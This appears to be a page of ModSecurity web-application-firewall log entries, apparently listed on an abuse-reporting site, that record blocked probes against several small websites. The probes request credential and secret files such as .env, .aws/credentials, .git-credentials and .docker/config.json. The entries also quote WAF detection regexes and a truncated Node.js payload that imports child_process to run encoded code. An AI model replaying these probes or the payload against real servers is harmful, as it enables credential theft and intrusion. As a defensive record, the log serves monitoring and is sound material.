[SatOct1020:59:25.3776382026][security2:error][pid1431873:tid1431886][client86.105.145.43:0]ModSecur ...
show more[SatOct1020:59:25.3776382026][security2:error][pid1431873:tid1431886][client86.105.145.43:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"galardi.ch\"][uri\"/xmlrpc.php\"][unique_id\"asqLDYJUxiuX91k9TXAmdgAAAAo\"]
show less
[SatOct1020:58:39.3419602026][security2:error][pid1431747:tid1431783][client212.66.100.243:0]ModSecu ...
show more[SatOct1020:58:39.3419602026][security2:error][pid1431747:tid1431783][client212.66.100.243:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"furgonianoleggio.ch\"][uri\"/xmlrpc.php\"][unique_id\"asqK3xoGCgc7Mxd5YMCl9AAAAUE\"]
show less
[SatOct1020:58:26.0322462026][security2:error][pid1431873:tid1431899][client34.141.48.166:0]ModSecur ...
show more[SatOct1020:58:26.0322462026][security2:error][pid1431873:tid1431899][client34.141.48.166:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"rs-gaming.net\"][uri\"/.aws/credentials\"][unique_id\"asqK0oJUxiuX91k9TXAmPgAAABc\"]
show less
[SatOct1020:55:56.4729812026][security2:error][pid1431751:tid1431856][client2602:80d:1007::78:0]ModS ...
show more[SatOct1020:55:56.4729812026][security2:error][pid1431751:tid1431856][client2602:80d:1007::78:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"www.grigorov.ch\"][uri\"/\"][unique_id\"asqKPHler__aOYUL6OWwzQAAAlQ\"]
show less
[SatOct1020:55:22.0351032026][security2:error][pid205323:tid205361][client34.162.177.72:0]ModSecurit ...
show more[SatOct1020:55:22.0351032026][security2:error][pid205323:tid205361][client34.162.177.72:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f6e7
show less
[SatOct1020:55:11.9035632026][security2:error][pid1431749:tid1431823][client34.29.144.152:0]ModSecur ...
show more[SatOct1020:55:11.9035632026][security2:error][pid1431749:tid1431823][client34.29.144.152:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"alessandrolucchini.ch\"][uri\"/\"][unique_id\"asqKD0ZiTAjWj17NYHctFgAAAg4\"]
show less
[SatOct1020:54:24.3524552026][security2:error][pid205326:tid205437][client37.186.41.198:0]ModSecurit ...
show more[SatOct1020:54:24.3524552026][security2:error][pid205326:tid205437][client37.186.41.198:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"fondazionemontgrand.ch\"][uri\"/xmlrpc.php\"][unique_id\"asqJ4CKWDHxGPJjCf1KlUgAAAQk\"]
show less
[SatOct1020:53:52.2129632026][security2:error][pid1428714:tid1428737][client2a04:7f80:306e:d000:dc53 ...
show more[SatOct1020:53:52.2129632026][security2:error][pid1428714:tid1428737][client2a04:7f80:306e:d000:dc53:5a28:f0cd:8410:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"fondazionepetronillapontirone.ch\"][uri\"/xmlrpc.php\"][unique_id\"asqJwJ0aDAV4TMoxrH5h_QAAAIo\"]
show less
[SatOct1020:51:41.9317562026][security2:error][pid205323:tid205374][client131.72.144.44:0]ModSecurit ...
show more[SatOct1020:51:41.9317562026][security2:error][pid205323:tid205374][client131.72.144.44:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"sesael.ch\"][uri\"/xmlrpc.php\"][unique_id\"asqJPQiolEjlNq_DTlJ7kwAAAE8\"]
show less
[SatOct1020:51:19.7389972026][security2:error][pid205323:tid205363][client104.254.90.235:0]ModSecuri ...
show more[SatOct1020:51:19.7389972026][security2:error][pid205323:tid205363][client104.254.90.235:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"motogiro.com\"][uri\"/xmlrpc.php\"][unique_id\"asqJJwiolEjlNq_DTlJ7jwAAAEQ\"]
show less
[SatOct1020:50:59.7162292026][security2:error][pid1428720:tid1428820][client167.99.240.143:0]ModSecu ...
show more[SatOct1020:50:59.7162292026][security2:error][pid1428720:tid1428820][client167.99.240.143:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"prstartup.ch\"][uri\"/\"][unique_id\"asqJE1KEmPDafl5XIYwkqgAAAks\"]
show less
[SatOct1020:49:44.1538162026][security2:error][pid205326:tid205437][client35.185.109.67:0]ModSecurit ...
show more[SatOct1020:49:44.1538162026][security2:error][pid205326:tid205437][client35.185.109.67:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:queryintrospectionquery\?\|__schema\\\\\\\\\?{\?\(\?:querytype\|types\?\)\)\?\\\\\\\\{\"atREQUEST_BODY.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"234\"][id\"344378\"][rev\"2\"][msg\"Atomicorp.comWAFRules:GraphQLInjectionAttackattempt\"][data\"MatchedData:__schema{types{foundwithinREQUEST_BODY:{\\\\x22query\\\\x22:\\\\x22{__schema{types{namefields{nameargs{namedefaultvalue}}}}}\\\\x22}\"][severity\"CRITICAL\"][tag\"SQLi\"][hostname\"executivekotech.it\"][uri\"/graphql\"][unique_id\"asqIyCKWDHxGPJjCf1Kk0AAAAQk\"]\,referer:https://executivekotech.it
show less
[SatOct1020:49:25.6189792026][security2:error][pid1406862:tid1407109][client34.143.182.51:0]ModSecur ...
show more[SatOct1020:49:25.6189792026][security2:error][pid1406862:tid1407109][client34.143.182.51:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"cpcalendars.autoeuro.lv\"][uri\"/static//.env\"][unique_id\"asqItSQEkMGEn4-99QkBQAAAAE4\"]
show less
[SatOct1020:48:45.2812332026][security2:error][pid205322:tid205331][client172.71.183.64:0]ModSecurit ...
show more[SatOct1020:48:45.2812332026][security2:error][pid205322:tid205331][client172.71.183.64:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Matchedphrase\"wp-config\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"710\"][id\"960720\"][msg\"Forbiddenfileaccess\"][hostname\"carolin-mizio.ch\"][uri\"/wp-config.php.bak\"][unique_id\"asqIjRP8lP1UiqrDDlq6yQAAAAE\"]
show less
[SatOct1020:48:44.6732862026][security2:error][pid205325:tid205453][client172.71.183.26:0]ModSecurit ...
show more[SatOct1020:48:44.6732862026][security2:error][pid205325:tid205453][client172.71.183.26:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Matchedphrase\".git\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"710\"][id\"960720\"][msg\"Forbiddenfileaccess\"][hostname\"carolin-mizio.ch\"][uri\"/.git-credentials\"][unique_id\"asqIjNllB2uVbulHE8N2kAAAANQ\"]
show less
[SatOct1020:48:43.5880212026][security2:error][pid205322:tid205330][client172.71.183.178:0]ModSecuri ...
show more[SatOct1020:48:43.5880212026][security2:error][pid205322:tid205330][client172.71.183.178:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\b\(\?:\\\\\\\\.\(\?:ht\(\?:access\|passwd\|group\)\|www_\?acl\)\|global\\\\\\\\.asa\|httpd\\\\\\\\.conf\|boot\\\\\\\\.ini\|web.config\)\\\\\\\\b\|\(\|\^\|\\\\\\\\.\\\\\\\\.\)/etc/\|/\\\\\\\\.\(\?:history\|bash_history\|sh_history\|env\)\$\)\"atREQUEST_FILENAME.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"204\"][id\"390709\"][rev\"30\"][msg\"Atomicorp.comWAFRules:Attempttoaccessprotectedfileremotely\"][data\"/.env\"][severity\"CRITICAL\"][hostname\"carolin-mizio.ch\"][uri\"/.env\"][unique_id\"asqIixP8lP1UiqrDDlq6xQAAAAA\"]
show less
[SatOct1020:48:12.3144682026][security2:error][pid205323:tid205382][client104.23.166.14:0]ModSecurit ...
show more[SatOct1020:48:12.3144682026][security2:error][pid205323:tid205382][client104.23.166.14:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"carolin-mizio.ch\"][uri\"/.docker/config.json\"][unique_id\"asqIbAiolEjlNq_DTlJ7WgAAAFc\"]
show less
[SatOct1020:48:11.7271462026][security2:error][pid205325:tid205446][client104.23.166.158:0]ModSecuri ...
show more[SatOct1020:48:11.7271462026][security2:error][pid205325:tid205446][client104.23.166.158:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"carolin-mizio.ch\"][uri\"/.aws/credentials\"][unique_id\"asqIa9llB2uVbulHE8N2iAAAANE\"]
show less
[SatOct1020:48:11.6449832026][security2:error][pid205322:tid205333][client104.23.166.159:0]ModSecuri ...
show more[SatOct1020:48:11.6449832026][security2:error][pid205322:tid205333][client104.23.166.159:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Stringmatchwithin\".asa/.asax/.ascx/.backup/.bak/.bat/.cdx/.cer/.cfg/.cmd/.com/.config/.conf/.cs/.csproj/.csr/.dat/.db/.dbf/.dll/.dos/.htr/.htw/.ida/.idc/.idq/.inc/.ini/.key/.licx/.lnk/.log/.mdb/.old/.pass/.pdb/.pol/.printer/.pwd/.rdb/.resources/.resx/.sql/.swp/.sys/.vb/.vbs/.vbproj/.vsdisco/.webinfo/.xsx/\"atTX:extension.[file\"/etc/apache2/conf.d/modsec_rules/00_asl_zz_strict.conf\"][line\"91\"][id\"390716\"][rev\"2\"][msg\"Atomicorp.comWAFRules:URLfileextensionisrestrictedbypolicy\"][data\".backup\"][severity\"ERROR\"][hostname\"carolin-mizio.ch\"][uri\"/.terraform/terraform.tfstate.backup\"][unique_id\"asqIaxP8lP1UiqrDDlq6uwAAAAM\"]
show less
[SatOct1020:48:12.2583492026][security2:error][pid205325:tid205432][client104.23.166.15:0]ModSecurit ...
show more[SatOct1020:48:12.2583492026][security2:error][pid205325:tid205432][client104.23.166.15:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Stringmatchwithin\".asa/.asax/.ascx/.backup/.bak/.bat/.cdx/.cer/.cfg/.cmd/.com/.config/.conf/.cs/.csproj/.csr/.dat/.db/.dbf/.dll/.dos/.htr/.htw/.ida/.idc/.idq/.inc/.ini/.key/.licx/.lnk/.log/.mdb/.old/.pass/.pdb/.pol/.printer/.pwd/.rdb/.resources/.resx/.sql/.swp/.sys/.vb/.vbs/.vbproj/.vsdisco/.webinfo/.xsx/\"atTX:extension.[file\"/etc/apache2/conf.d/modsec_rules/00_asl_zz_strict.conf\"][line\"91\"][id\"390716\"][rev\"2\"][msg\"Atomicorp.comWAFRules:URLfileextensionisrestrictedbypolicy\"][data\".backup\"][severity\"ERROR\"][hostname\"carolin-mizio.ch\"][uri\"/.terraform/terraform.tfstate.backup\"][unique_id\"asqIbNllB2uVbulHE8N2iQAAAMs\"]
show less
[SatOct1020:48:11.6487972026][security2:error][pid205326:tid205439][client104.23.166.110:0]ModSecuri ...
show more[SatOct1020:48:11.6487972026][security2:error][pid205326:tid205439][client104.23.166.110:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"carolin-mizio.ch\"][uri\"//.aws/credentials\"][unique_id\"asqIayKWDHxGPJjCf1KkqgAAAQo\"]
show less
[SatOct1020:47:41.0790242026][security2:error][pid205325:tid205449][client39.34.147.182:0]ModSecurit ...
show more[SatOct1020:47:41.0790242026][security2:error][pid205325:tid205449][client39.34.147.182:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"fimka-icp.com\"][uri\"/xmlrpc.php\"][unique_id\"asqITdllB2uVbulHE8N2fQAAANI\"]
show less
[SatOct1020:47:32.4397292026][security2:error][pid1406855:tid1407084][client136.111.44.51:0]ModSecur ...
show more[SatOct1020:47:32.4397292026][security2:error][pid1406855:tid1407084][client136.111.44.51:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"artisteer-italia.org\"][uri\"/.gitlab-ci.yml\"][unique_id\"asqIRI6xUh434HaRtEP8wwAAAkk\"]
show less
[SatOct1020:46:51.5354832026][security2:error][pid1406855:tid1407084][client2400:cb00:555:1000:ce16: ...
show more[SatOct1020:46:51.5354832026][security2:error][pid1406855:tid1407084][client2400:cb00:555:1000:ce16:4bc5:b1d0:9b00:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"traslocarealugano.ch\"][uri\"/.docker/config.json\"][unique_id\"asqIG46xUh434HaRtEP8sQAAAkk\"]
show less
[SatOct1020:46:53.8634712026][security2:error][pid1406855:tid1407101][client2400:cb00:555:1000:d665: ...
show more[SatOct1020:46:53.8634712026][security2:error][pid1406855:tid1407101][client2400:cb00:555:1000:d665:da27:21b9:1255:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"traslocarealugano.ch\"][uri\"/index.php.bak\"][unique_id\"asqIHY6xUh434HaRtEP8uQAAAlE\"]
show less
Port ScanBrute-ForceWeb App Attack
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.